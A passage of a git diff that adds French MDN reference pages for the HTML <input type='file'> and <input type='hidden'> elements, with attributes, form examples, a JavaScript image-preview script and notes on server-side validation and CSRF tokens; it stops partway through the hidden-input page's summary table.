+   <td><code>{{anch("webkitdirectory")}}</code></td>
+   <td>Un attribut booléen qui indique si l'utilisateur peut choisir un répertoire (ou plusieurs si <code>{{anch("multiple")}}</code> est présent).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefwebkitdirectory_non-standard_inline">{{htmlattrdef("webkitdirectory")}} {{non-standard_inline}}</h3>
+
+<p>L'attribut booléen <code>webkitdirectory</code>, lorsqu'il est présent, indique que le contrôle permet de sélectionner un/des répertoires plutôt qu'un/des fichiers. Voir {{domxref("HTMLInputElement.webkitdirectory")}} pour plus de détails et d'exemples.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Bien que cet attribut ait initialement été implémenté pour les navigateurs WebKit, <code>webkitdirectory</code> est utilisable avec Microsoft Edge et pour Firefox 50 et supérieurs. Toutefois, bien que la prise en charge soit assez vaste, cet attribut reste non-standard et ne doit pas être utilisé.</p>
+</div>
+
+<h2 id="Identifiants_de_type_de_fichier">Identifiants de type de fichier</h2>
+
+<p>Un identifiant de type de fichier est une chaîne de caractères qui décrit le type de fichier qui peut être sélectionné par un utilisateur via un élément {{HTMLElement("input")}} de type <code>file</code>. Chaque identifiant peut prendre une des formes suivantes :</p>
+
+<ul>
+ <li>Une extension de fichier valide, sensible à la casse et qui commence par un point (« . »). Par exemple : <code>.jpg</code>, <code>.pdf</code> ou <code>.doc</code>.</li>
+ <li>Un type MIME valide, sans extension.</li>
+ <li>La chaîne de caractères <code>audio/*</code> qui indique « n'importe quel fichier audio »</li>
+ <li>La chaîne de caractères <code>video/*</code> qui indique « n'importe quel fichier vidéo »</li>
+ <li>La chaîne de caractères <code>image/*</code> qui indique « n'importe quel fichier image ».</li>
+</ul>
+
+<p>L'attribut <code>accept</code> prend comme valeur une chaîne de caractères composée d'un ou plusieurs identifiants de type, séparés par des virgules. Ainsi, si un sélecteur de fichier doit permettre de sélectionner des images ou des documents PDF, on pourra écrire :</p>
+
+<pre class="brush: html">&lt;input type="file" accept="image/*,.pdf"&gt;</pre>
+
+<h2 id="Utiliser_&lt;input_typefile>">Utiliser <code>&lt;input type="file"&gt;</code></h2>
+
+<h3 id="Un_exemple_simple">Un exemple simple</h3>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+ &lt;div&gt;
+   &lt;label for="file"&gt;Sélectionner le fichier à envoyer&lt;/label&gt;
+   &lt;input type="file" id="file" name="file" multiple&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+   &lt;button&gt;Envoyer&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>Ce fragment de code HTML produira le résultat suivant :</p>
+
+<p>{{EmbedLiveSample('Un_exemple_simple', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>Note</strong> : Vous pouvez également trouver cet exemple sur GitHub — <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/simple-file.html">avec le code source</a> et <a href="https://mdn.github.io/learning-area/html/forms/file-examples/simple-file.html">la démonstration</a>.</p>
+</div>
+
+<p>Quel que soit l'appareil ou le système d'exploitation de l'utilisateur, l'élément <code>&lt;input type="file"&gt;</code> fournit un bouton qui ouvre un sélecteur de fichier permettant de choisir un fichier.</p>
+
+<p>Lorsque l'attribut {{htmlattrxref("multiple", "input")}} est utilisé (comme dans l'exemple précédent), cela signifie que plusieurs fichiers peuvent être sélectionnés de façon simultanée. L'utilisateur doit alors pouvoir choisir plusieurs fichiers depuis le sélecteur de fichier (par exemple en maintenant la touche <kbd>Shift</kbd> ou <kbd>Control</kbd> puis en cliquant). Si on souhaite qu'un seul fichier puisse être envoyé, il suffit de ne pas utiliser l'attribut <code>multiple</code>.</p>
+
+<p>Lorsqu'on envoie le formulaire de l'exemple, le nom de chaque fichier sera ajouté aux paramètres de l'URL de la façon suivante : <code>?file=fichier1.txt&amp;file=fichier2.txt</code></p>
+
+<h3 id="Obtenir_des_informations_sur_les_fichiers_sélectionnés">Obtenir des informations sur les fichiers sélectionnés</h3>
+
+<p>Les fichiers sélectionnés peuvent être obtenus sous la forme d'un objet {{domxref("FileList")}} renvoyé par la propriété <code>HTMLInputElement.files</code> de l'élement du DOM. Cet objet est une liste d'objets {{domxref("File")}}. Un objet <code>FileList</code> se comporte comme un tableau et on peut donc consulter sa longueur (la propriété <code>length</code>) afin de connaître le nombre de fichiers sélectionnés.</p>
+
+<p>Chaque objet <code>File</code> contient les informations suivantes :</p>
+
+<ul>
+ <li><code>name</code> : le nom du fichier.</li>
+ <li><code>lastModified</code> : un nombre représentant la date à laquelle le fichier a été modifié pour la dernière fois (sous la forme d'un horodatage UNIX).</li>
+ <li><code>lastModifiedDate</code> : un objet {{domxref("Date")}} qui représente la date et l'heure à laquelle le fichier a été modifié pour la dernière fois.</li>
+ <li><code>size</code> : un nombre qui représente la taille du fichier en octets.</li>
+ <li><code>type</code> : une chaîne de caractères ({{domxref("DOMString")}}) qui représente <a href="/fr/docs/Glossaire/Type_MIME">le type MIME</a> du fichier.</li>
+ <li><code>webkitRelativePath</code>{{non-standard_inline}} : une chaîne de caractères qui indique l'emplacement relatif du fichier par rapport au dossier de base indiqué par l'attribut {{htmlattrxref("webkitdirectory", "input")}}. <em>Attention, cette fonctionnalité est non-standard et doit être utilisée avec précaution.</em></li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Dans la plupart des navigateurs récents, il est possible de récupérer et de modifier l'attribut IDL <code>HTMLInputElement.files</code>. Pour Firefox, cela a été ajouté avec la version 57 (cf. {{bug(1384030)}}).</p>
+</div>
+
+<h3 id="Restreindre_les_types_de_fichiers_acceptés">Restreindre les types de fichiers acceptés</h3>
+
+<p>Il arrive souvent qu'on souhaite sélectionner certains types de fichiers. Par exemple, si on souhaite fournir une image de profil, on restreindra probablemnt les formats à ceux des formats d'image compatibles pour le Web comme <a href="/fr/docs/Glossaire/jpeg">JPEG</a> ou <a href="/fr/docs/Glossaire/PNG">PNG</a>.</p>
+
+<p>Pour cela, on peut utiliser l'attribut {{htmlattrxref("accept","input")}} afin d'indiquer les formats de fichier acceptés (sous la forme d'une liste d'extensions de fichier ou de types MIME séparés par des virgules). Par exemple :</p>
+
+<ul>
+ <li><code>accept="image/png"</code> ou <code>accept=".png"</code> permettra de n'accepter que les fichiers PNG.</li>
+ <li><code>accept="image/png, image/jpeg"</code> ou <code>accept=".png, .jpg, .jpeg"</code> permettra de n'accepter que les fichiers PNG ou JPEG.</li>
+ <li><code>accept="image/*"</code> permettra d'accepter n'importe quel fichier dont le type MIME est <code>image/*</code> (pour de nombreux appareils mobiles, cette valeur permet d'utiliser l'appareil photo de l'appareil afin de prendre une photo qui sera utilisée comme fichier à envoyer).</li>
+ <li><code>accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"</code> permettra d'accepter un fichier ressemblant à un document Word.</li>
+</ul>
+
+<p>Prenons un exemple :</p>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;div&gt;
+    &lt;label for="profile_pic"&gt;Sélectionnez le fichier à utiliser&lt;/label&gt;
+    &lt;input type="file" id="profile_pic" name="profile_pic"
+          accept=".jpg, .jpeg, .png"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>Voici le résultat produit :</p>
+
+<p>{{EmbedLiveSample('Restreindre_les_types_de_fichiers_acceptés', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>Note</strong> : Vous pouvez également consulter cet exemple sur GitHub — <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-with-accept.html">voir le code source</a> et <a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-with-accept.html">la démonstration <em>live</em></a>.</p>
+</div>
+
+<p>Le résultat peut sembler similaire à l'exemple précédent mais lorsque vous essayer de sélectionner un fichier, vous verrez que le sélecteur ne permet de sélectionner que les fichiers du/des type(s) indiqué(s) (il peut y avoir certaines différences selons les navigateurs et les systèmes d'exploitation).</p>
+
+<p><img alt="Screenshot of a macOS file picker dialog. Files other than JPEG are grayed-out and unselectable." src="https://mdn.mozillademos.org/files/15183/file-chooser.png" style="margin: 0 auto;"></p>
+
+<p>L'attribut <code>accept</code> ne permet pas de valider/contrôler le type réel du/des fichier(s) sélectionné(s). Il fournit simplement une indication au navigateur pour aider l'utilisateur à sélectionner les bons fichiers. Toutefois, dans la plupart des cas, l'utilisateur peut toujours choisir une option dans le sélecteur afin de pouvoir choisir un fichier d'un autre type.</p>
+
+<p>Dans tous les cas (et comme pour les autres éléments envoyés au serveur), il est nécessaire de contrôler les données reçues par un mécanisme de validation côté serveur.</p>
+
+<h3 id="Notes">Notes</h3>
+
+<ol>
+ <li>À partir de {{Gecko("2.0")}}, appeler la méthode <code>click()</code> sur un élément de type <code>file</code> ouvre le sélecteur de fichier et permet à un utilisateur de sélectionner les fichiers sur son système d'opération. Pour plus d'exemples, voir Utiliser des fichiers avec des applications web.</li>
+ <li>
+  <p>Il n'est pas possible de définir la valeur du sélecteur de fichier via un script. Le code suivant n'aura aucun effet :</p>
+
+  <pre class="brush: js">const input = document.querySelector("input[type=file]");
+input.value = "toto";
+</pre>
+ </li>
+ <li>Lorsqu'on choisit un fichier via <code>&lt;input type="file"&gt;</code>, le chemin réel du fichier source n'est pas transmis dans la valeur de l'attribut <code>value</code> pour des raisons de sécurité. À la place, on a le nom du fichier précédé du chemin <code>C:\fakepath\</code>. Cela provient de raisons historiques, est pris en charge par la plupart des navigateurs modernes. Cela a même été <a href="https://html.spec.whatwg.org/multipage/forms.html#fakepath-srsly">inscrit dans la spécification</a>.</li>
+</ol>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on présente sélecteur de fichiers plus avancé, qui tire parti des informations disponibles grâce à la propriété <code>HTMLInputElement.files</code>. On montre aussi quelques astuces.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Le code source complet de cet exemple est disponible sur GitHub — <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-example.html">file-example.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-example.html">voir la démonstration <em>live</em> associée</a>). Nous n'expliquerons pas ici la feuille de style CSS mais plutôt le code JavaScript qui contient la logique.</p>
+</div>
+
+<p>Tout d'abord, voici le fragment de code HTML utilisé :</p>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;div&gt;
+    &lt;label for="image_uploads"&gt;Sélectionner des images à uploader (PNG, JPG)&lt;/label&gt;
+    &lt;input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple&gt;
+  &lt;/div&gt;
+  &lt;div class="preview"&gt;
+    &lt;p&gt;Aucun fichier sélectionné pour le moment&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+form {
+  width: 600px;
+  background: #ccc;
+  margin: 0 auto;
+  padding: 20px;
+  border: 1px solid black;
+}
+
+form ol {
+  padding-left: 0;
+}
+
+form li, div &gt; p {
+  background: #eee;
+  display: flex;
+  justify-content: space-between;
+  margin-bottom: 10px;
+  list-style-type: none;
+  border: 1px solid black;
+}
+
+form img {
+  height: 64px;
+  order: 1;
+}
+
+form p {
+  line-height: 32px;
+  padding-left: 10px;
+}
+
+form label, form button {
+  background-color: #7F9CCB;
+  padding: 5px 10px;
+  border-radius: 5px;
+  border: 1px ridge black;
+  font-size: 0.8rem;
+  height: auto;
+}
+
+form label:hover, form button:hover {
+  background-color: #2D5BA3;
+  color: white;
+}
+
+form label:active, form button:active {
+  background-color: #0D3F8F;
+  color: white;
+}</pre>
+</div>
+
+<p>Pour l'instant, le fragment HTML ressemble à ce que nous avons déjà vu avant, rien de spécial.</p>
+
+<p>Voyons maintenant le code JavaScript utilisé :</p>
+
+<p>Pour les premières lignes du script, on récupère des références au formulaire et à l'élément {{htmlelement("div")}} qui possède la classe <code>.preview</code>. Ensuite, on masque l'élément {{htmlelement("input")}} car leur apparence peut être incohérente entre les navigateurs et qu'il est difficile de les mettre en forme. Cliquer sur l'élément {{htmlelement("label")}} suffit à ouvrir le sélecteur et nous mettons donc en forme cet élément à la façon d'un bouton. Ainsi, l'utilisateur saura comment interagir avec le document pour <em>uploader</em> des fichiers.</p>
+
+<pre class="brush: js">var input = document.querySelector('input');
+var preview = document.querySelector('.preview');
+
+input.style.opacity = 0;</pre>
+
+<div class="note">
+<p><strong>Note : </strong>La propriété <a href="/fr/docs/Web/CSS/opacity"><code>opacity</code></a> est utilisée pour masquer l'élément <code>&lt;input&gt;</code> plutôt que <a href="/fr/docs/Web/CSS/visibility"><code>visibility: hidden</code></a> ou <a href="/fr/docs/Web/CSS/display"><code>display: none</code></a>. En effet, avec ces derniers les technologies d'assistance (lecteurs d'écran par exemple) comprendraient que l'élément n'est pas interactif et ne peut pas être utilisé.</p>
+</div>
+
+<p>Ensuite, on ajoute <a href="/fr/docs/Web/API/EventTarget/addEventListener">un gestionnaire d'évènement</a> à l'élément <code>&lt;input&gt;</code> afin de réaliser certaines actions lorsque sa valeur (c'est-à-dire les fichiers sélectionnés) change. Ici, le gestionnaire d'évènement appelle la fonction <code>updateImageDisplay()</code> que nous décrirons juste après.</p>
+
+<pre class="brush: js">input.addEventListener('change', updateImageDisplay);</pre>
+
+<p>À chaque fois que la fonction <code>updateImageDisplay()</code> est appelée :</p>
+
+<ul>
+ <li>On lance une boucle <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a></code> afin de vider le contenu qui pourrait être dans l'élément <code>&lt;div&gt;</code> servant à la prévisualisation.</li>
+ <li>On récupère l'objet {{domxref("FileList")}} qui contient les informations sur les fichiers sélectionnés et on le stocke dans une variable intitulée <code>curFiles</code>.</li>
+ <li>On vérifie si aucun fichier n'a été sélectionné (ce qui se traduit par vérifier si <code>curFiles.length</code> vaut 0). Si c'est le cas, on place un message dans le <code>&lt;div&gt;</code> de prévisualisation pour indiquer qu'aucun fichier n'a été sélectionné.</li>
+ <li>Si des fichiers ont été sélectionnés, on les parcourt afin d'afficher des informations sur ces fichiers dans l'élément <code>&lt;div&gt;</code>. Quelques notes :
+  <ul>
+   <li>On utilise une fonction <code>validFileType()</code> afin de vérifier si le fichier est bien du bon type (c'est-à-dire qu'il respecte les extensions d'image indiquées dans l'attribut <code>accept</code>).
+    <ul>
+     <li>Si c'est le cas :
+      <ul>
+       <li>On affiche le nom et la taille du fichier dans une liste à l'intérieur du <code>&lt;div&gt;</code> (obtenus à partir de <code>curFiles[i].name</code> et <code>curFiles[i].size</code>). La fonction <code>returnFileSize()</code> est utilisée ici afin d'afficher la taille de façon lisible (en octets, kilo-octets ou mega-octets plutôt que toujours en octets).</li>
+       <li>On génère un aperçu de l'image en appelant la méthode <code>window.<a href="/fr/docs/Web/API/URL/createObjectURL">URL.createObjectURL</a>(curFiles[i])</code> et en réduisant l'image grâce à du CSS puis on insère cette image dans la liste.</li>
+      </ul>
+     </li>
+     <li>Si le type de fichier est invalide, on affiche un message dans la liste afin d'indiquer à l'utilisateur qu'il est nécessaire de sélectionner un autre type de fichier.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<pre class="brush: js">function updateImageDisplay() {
+  while(preview.firstChild) {
+    preview.removeChild(preview.firstChild);
+  }
+
+  var curFiles = input.files;
+  if(curFiles.length === 0) {
+    var para = document.createElement('p');
+    para.textContent = 'No files currently selected for upload';
+    preview.appendChild(para);
+  } else {
+    var list = document.createElement('ol');
+    preview.appendChild(list);
+    for(var i = 0; i &lt; curFiles.length; i++) {
+      var listItem = document.createElement('li');
+      var para = document.createElement('p');
+      if(validFileType(curFiles[i])) {
+        para.textContent = 'File name ' + curFiles[i].name + ', file size ' + returnFileSize(curFiles[i].size) + '.';
+        var image = document.createElement('img');
+        image.src = window.URL.createObjectURL(curFiles[i]);
+
+        listItem.appendChild(image);
+        listItem.appendChild(para);
+
+      } else {
+        para.textContent = 'File name ' + curFiles[i].name + ': Not a valid file type. Update your selection.';
+        listItem.appendChild(para);
+      }
+
+      list.appendChild(listItem);
+    }
+  }
+}</pre>
+
+<p>La fonction <code>validFileType()</code> prend un objet {{domxref("File")}} en entrée puis parcourt la liste des types de fichier autorisés pour les comparer à la propriété <code>type</code> du fichier. Si on trouve une correspondance (ce qui signifie que le type est bien autorisé), la fonction renvoie <code>true</code>, sinon, elle renvoie <code>false</code>.</p>
+
+<pre class="brush: js">var fileTypes = [
+  'image/jpeg',
+  'image/pjpeg',
+  'image/png'
+]
+
+function validFileType(file) {
+  for(var i = 0; i &lt; fileTypes.length; i++) {
+    if(file.type === fileTypes[i]) {
+      return true;
+    }
+  }
+
+  return false;
+}</pre>
+
+<p>La fonction <code>returnFileSize()</code> prend en entrée un nombre d'octets (dans notre exemple, celui-ci provient de la propriété <code>size</code> du fichier) et le transforme en une chaîne de caractères plus compréhensible avec une taille en octets/Ko/Mo.</p>
+
+<pre class="brush: js">function returnFileSize(number) {
+  if(number &lt; 1024) {
+    return number + ' octets';
+  } else if(number &gt;= 1024 &amp;&amp; number &lt; 1048576) {
+    return (number/1024).toFixed(1) + ' Ko';
+  } else if(number &gt;= 1048576) {
+    return (number/1048576).toFixed(1) + ' Mo';
+  }
+}</pre>
+
+<p>Et voici le résultat :</p>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 200)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente le chemin du fichier sélectionné.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("accept", "input/file")}}, {{htmlattrxref("capture", "input/file")}}, {{htmlattrxref("files", "input/file")}}, {{htmlattrxref("multiple", "input/file")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>files</code> et <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Interface DOM</strong></td>
+   <td>{{domxref("HTMLInputElement")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Propriétés</strong></td>
+   <td><a href="/fr/docs/Web/API/HTMLInputElement#Properties_file">Propriétés pour les éléments <code>HTMLInputElement</code> de type <code>file</code></a></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#file-upload-state-(type=file)', '&lt;input type="file"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#file-upload-state-typefile', '&lt;input type="file"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-file")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Using_files_from_web_applications">Manipuler des fichiers à partir d'applications web</a> contient différents exemples d'applications relatifs à <code>&lt;input type="file"&gt;</code></li>
+ <li><a href="/fr/docs/Web/API/File">L'API <em>File</em></a>.</li>
+</ul>
diff --git a/files/fr/web/html/element/input/hidden/index.html b/files/fr/web/html/element/input/hidden/index.html
new file mode 100644
index 0000000000..f58ba589fd
--- /dev/null
+++ b/files/fr/web/html/element/input/hidden/index.html
@@ -0,0 +1,232 @@
+---
+title: <input type="hidden">
+slug: Web/HTML/Element/Input/hidden
+tags:
+  - Element
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/hidden
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments {{HTMLElement("input")}} de type <code><strong>"hidden"</strong></code> permettent aux développeurs web d'inclure des données qui ne peuvent pas être vues ou modifiées lorsque le formulaire est envoyé. Cela permet par exemple d'envoyer l'identifiant d'une commande ou un jeton de sécurité unique. Les champs de ce type sont invisibles sur la page.</p>
+
+<div class="note">
+<p><strong>Note </strong>: La ligne de code suivante est suivie du rendu associé... si l'exemple fonctionne correctement, vous ne devriez rien voir :)</p>
+</div>
+
+<div id="Basic_example">
+<pre class="brush: html">&lt;input id="prodId" name="prodId" type="hidden" value="xm234jq"&gt;</pre>
+
+<p>{{EmbedLiveSample('Basic_example', 600, 40)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Attention, les évènements DOM <code><a href="/fr/docs/Web/API/HTMLElement/input_event">input</a></code> et <code><a href="/fr/docs/Web/API/HTMLElement/change_event">change</a></code> ne s'appliquent pas à ce type de contrôle. Les champs masqués ne peuvent pas recevoir le focus, y compris en JavaScript avec <code>hiddenInput.focus()</code>).</p>
+</div>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>L'attribut {{htmlattrxref("value", "input")}} de l'élément contient une chaîne de caractères masquée qui est envoyée au serveur avec le formulaire. Cette valeur ne peut pas directement être éditée par l'utilisateur sur la page (mais elle est toujours accessible et modifiable via les outils de développement intégrés au navigateur).</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Bien que la valeur ne soit pas affichée sur la page, elle est visible et modifiable par l'utilisateur si ce dernier utilise les outils de développements intégrés aux navigateurs (par exemple "Afficher la source"). Le type <code>hidden</code> ne doit donc pas être utilisé comme mécanisme de sécurité.</p>
+</div>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs communs à l'ensemble des éléments <code>&lt;input&gt;</code>, les champs masqués peuvent utiliser les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("name")}}</code></td>
+   <td>À l'instar de l'ensemble des champs de saisie, ce sera le nom auquel associer la donnée lors de l'envoi du formulaire. Si la valeur spéciale <code>"_charset_"</code> est utilisée pour cet attribut, la valeur du champ sera l'encodage utilisé pour l'envoi du formulaire.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(name)">{{htmlattrdef("name")}}</h3>
+
+<p>Cet attribut fait partie des attributs communs à l'ensemble des éléments <code>&lt;input&gt;</code> mais il possède un comportement particulier pour les champs masqués. En effet, si cet attribut utilise la valeur spéciale <code>"_charset_"</code>, la valeur du champ envoyée avec le formulaire sera l'encodage utilisé pour l'envoi du formulaire.</p>
+
+<h2 id="Utiliser_les_valeurs_masquées_dans_les_formulaires">Utiliser les valeurs masquées dans les formulaires</h2>
+
+<p>Comme évoqué ci-avant, les éléments <code>&lt;input type="hidden"</code>&gt; peuvent être utilisés lorsque le formulaire sert à transmettre des données avec lesquelles l'utilisateur n'est pas censé intéragir.</p>
+
+<h3 id="Suivre_les_modifications_apportées_au_contenu">Suivre les modifications apportées au contenu</h3>
+
+<p>Un usage fréquent de ces éléments est de garder un registre des données qui doivent être mises à jour dans une base de données lorsque le formulaire est envoyé. Le processus est généralement le suivant :</p>
+
+<ol>
+ <li>L'utilisateur édite du contenu (un billet de blog, une fiche d'un produit) en commençant par cliquer sur le bouton Éditer.</li>
+ <li>Le contenu à modifier est extrait de la base de données et est chargé dans le formulaire HTML afin que l'utilisateur puis appliquer les modifications voulues.</li>
+ <li>Après avoir éditer, l'utilisateur envoie le formulaire et les données mises à jour sont envoyées au serveur qui se charge d'appliquer cette mise à jour en base de données.</li>
+</ol>
+
+<p>Ici, lors de la deuxième étape, on peut récupérer l'identifiant de l'enregistrement et le placer dans un champ caché du formulaire. Lorsque le formulaire est envoyé à l'étape 3, l'identifiant est automatiquement envoyé au serveur avec le contenu. L'identifiant permet alors au serveur de connaître l'enregistrement de la base de données qui doit être mis à jour.</p>
+
+<p>Pour un exemple complet, voir la section {{anch("Exemples")}} ci-après.</p>
+
+<h3 id="Contribuer_à_la_sécurité_d'un_site_web">Contribuer à la sécurité d'un site web</h3>
+
+<p>Les champs masqués sont également employés afin de stocker des jetons de sécurité (aussi appelés « secrets ») afin d'améliorer la sécurité d'un site. Pour un formulaire sensible (par exemple le transfert d'argent d'un compte à un autre sur un site bancaire), le secret est généré par le serveur et intégré sur la page afin de prouver l'identité de l'utilisateur et que c'est bien le bon formulaire qui est utilisé pour effectuer le transfert.</p>
+
+<p>Cela permet d'éviter le cas où quelqu'un crée un faux site et un faux formulaire pour transférer de l'argent sur le mauvais compte (c'est ce qu'on appelle <a href="https://fr.wikipedia.org/wiki/Cross-Site_Request_Forgery">Cross Site Request Forgery (CSRF)</a>).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Comme indiqué précédemment, placer le secret dans un champ masqué ne le rend pas plus sécurisé. La composition, l'encodage de la clé et la vérification par le serveur sont autant d'étapes cruciales pour garantir la qualité du secret utilisé. Le champ masqué n'est finalement qu'un outil qui simplifie l'envoi de cette information au serveur lorsque l'utilisateur envoie le formulaire.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Aucune contrainte de validation n'est appliquée sur ces valeurs.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voyons comment implémenter une version simple du formulaire d'édition décrit précédemment : on utilise un champ masqué pour mémoriser l'identifiant de la donnée qui est modifiée.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Voici le fragment HTML pour le formulaire :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="title"&gt;Titre du billet :&lt;/label&gt;
+    &lt;input type="text" id="title" name="title" value="Mon meilleur billet"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="content"&gt;Contenu :&lt;/label&gt;
+    &lt;textarea id="content" name="content" cols="60" rows="5"&gt;
+Voici le contenu de mon meilleur billet, j'espère que ça vous plaît !
+    &lt;/textarea&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Mettre à jour le billet&lt;/button&gt;
+  &lt;/div&gt;
+  &lt;input type="hidden" id="postId" name="postId" value="34657"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Ajoutons quelques éléments de mise en forme :</p>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+form {
+  width: 500px;
+}
+
+div {
+  display: flex;
+  margin-bottom: 10px;
+}
+
+label {
+  flex: 2;
+  line-height: 2;
+  text-align: right;
+  padding-right: 20px;
+}
+
+input, textarea {
+  flex: 7;
+  font-family: sans-serif;
+  font-size: 1.1rem;
+  padding: 5px;
+}
+
+textarea {
+  height: 60px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Le serveur génèrera la page HTML avec l'identifiant <code>"postID"</code> qui contient l'identifiant du billet de la base de données. Lorsque l'utilisateur termine l'édition, c'est le navigateur qui envoie cette donnée au serveur ainsi que les autres données du formulaire. Aucun code JavaScript n'est nécessaire pour gérer cela.</p>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 200)}}</p>
+
+<div class="note">
+<p><strong>Note </strong>: Vous pouvez consulter l'exemple sur GitHub (cf. <a href="https://github.com/mdn/learning-area/blob/master/html/forms/hidden-input-example/index.html">le code source</a> et <a href="https://mdn.github.io/learning-area/html/forms/hidden-input-example/index.html">la démonstration <em>live</em></a>).</p>
+</div>
+
+<p>Lorsque le formulaire est envoyé, les données envoyées au serveur ressembleront à :</p>
+
+<p><code>title=Mon+meilleur+billet&amp;content=Le+contenu+de+mon+meilleur+article.+J'espère+qu'il+vous+plaît!&amp;postId=34657</code></p>
+
+<p>Bien que le champ masqué soit invisible sur la page, il fait toujours partie des données envoyées.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur de la donnée masquée qu'on souhaite envoyer au serveur.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
